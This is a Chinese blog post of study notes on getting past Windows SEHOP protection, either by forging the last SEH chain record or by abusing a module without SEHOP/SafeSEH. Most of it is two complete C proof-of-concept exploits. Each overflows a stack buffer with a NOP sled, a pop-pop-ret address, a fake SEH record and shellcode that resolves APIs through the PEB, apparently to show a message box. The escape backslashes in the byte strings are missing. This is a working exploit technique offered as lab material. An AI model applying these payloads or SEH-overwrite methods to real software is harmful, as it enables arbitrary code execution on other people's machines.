zoukankan      html  css  js  c++  java
  • 伪造SEH链表最后一项躲过SEHOP/利用未启用SEHOP的模块

    本身是笔记··················································

    伪造SEH链表最后一项躲过SEHOP:

    具备条件:

    1 nseh 地址必须指向当前栈中,必须能够被4整除

    2 nseh 存放的异常处理记录作为SEH 链的最后一项,其异常处理函数指针必须指向中级异常处理函数

    3 突破 SEHOP检查后,异常程序还需要搞定SAFESEH

    4 ASLR不能启用


    实验采用未启用SAFESEH模块绕过 SAFESEH 的基础上进行


    开启后  必须 要配置

    FFFFFFFF

    handler地址

    要不然就会程序就会直接退出  不会进入SEH处理


    感觉意义不大···················



    /*
    win7    
    无DEP 无ASLR 
    寻找no safeseh去覆盖SEH
    伪造最终SEH
    */
    
    #include "stdafx.h"
    #include <string.h>
    #include <windows.h>
    char shellcode[]=
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90"
    	
    	/*
    	0018FE58   0018FF18  指针到下一个 SEH 记录
    	0018FE5C   11121012  SE 句柄
    	*/
    	"x18xffx18x00"//address of last seh record  0018FF18   FFFFFFFF
    	"x12x10x12x11"//address of pop pop retn in No_SafeSEH module
    	"x90x90x90x90x90x90x90x90"
    
    	"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7E"
    	"xF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2"
    	"x64x8Bx1Dx30x00x00x00x8Bx5Bx0Cx8Bx5Bx0Cx8Bx1Bx8Bx1Bx8Bx5Bx18"
    	"x8BxEBxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8B"
    	"x4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0F"
    	"xBEx06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4"
    	"x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxAB"
    	"x57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x64x61x30x23x68x23x50"
    	"x61x6Ex8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"
    	"x90"
    	"xFFxFFxFFxFF"// the fake seh record
    	"x28x74x88x77"//   SE 句柄
    	/*
    	0018FFE4   FFFFFFFF
    	0018FFE8   77887428  ntdll_1a.77887428
    	*/
    	;
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	//strcpy(str,input);	
    	memcpy(str,input,416);
    	int zero=0;
    	__try
    	{
    		zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    	char str[200];
    	//__asm int 3
    	test(shellcode);
    	return 0;
    }


    利用未启用SEHOP的模块:



    /*
    win7  无DEP EXE随意ASLR DLL禁用
    DLL中pop pop ret 覆盖 SEH  那么可以正常运行
    */
    #include "stdafx.h"
    #include <string.h>
    #include <windows.h>
    
    char shellcode[]=
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x90x90x90x90x90x90x90x90x90x90x90x90"
    	"x12x10x12x11"//address of pop pop retn in No_SafeSEH module
    	"x90x90x90x90x90x90x90x90"
    	
    	"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7E"
    	"xF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2"
    	"x64x8Bx5Ax30x8Bx5Bx0Cx8Bx5Bx0Cx8Bx1Bx8Bx1Bx8Bx5Bx18x8BxEBxAD"
    	"x3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78"
    	"x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    	"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24"
    	"x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3D"
    	"x6Ax0Ax38x1Ex75xA9x33xDBx53x68x64x61x30x23x68x23x50x61x6Ex8B"
    	"xC4x53x50x50x53xFFx57xFCx53xFFx57xF8"
    	;
    
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	strcpy(str,input);	
    	int zero=0;
    	__try
    	{
    		zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    
    int _tmain(int argc, _TCHAR* argv[])
    {
    	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSEHOP_JUMP.dll"));//load No_SafeSEH module
    	char str[200];
    	//__asm int 3
    	test(shellcode);
    	
    	return 0;
    }




























  • 相关阅读:
    百度之星初赛 A
    百度之星 初赛 BC
    2016 百度之星资格赛
    codeforces 749
    codeforces 785
    HDU 4617
    网络流 poj 2195
    网络流 poj 3436 poj 3281
    codeforces 780 C
    idea激活
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982383.html
Copyright © 2011-2022 走看看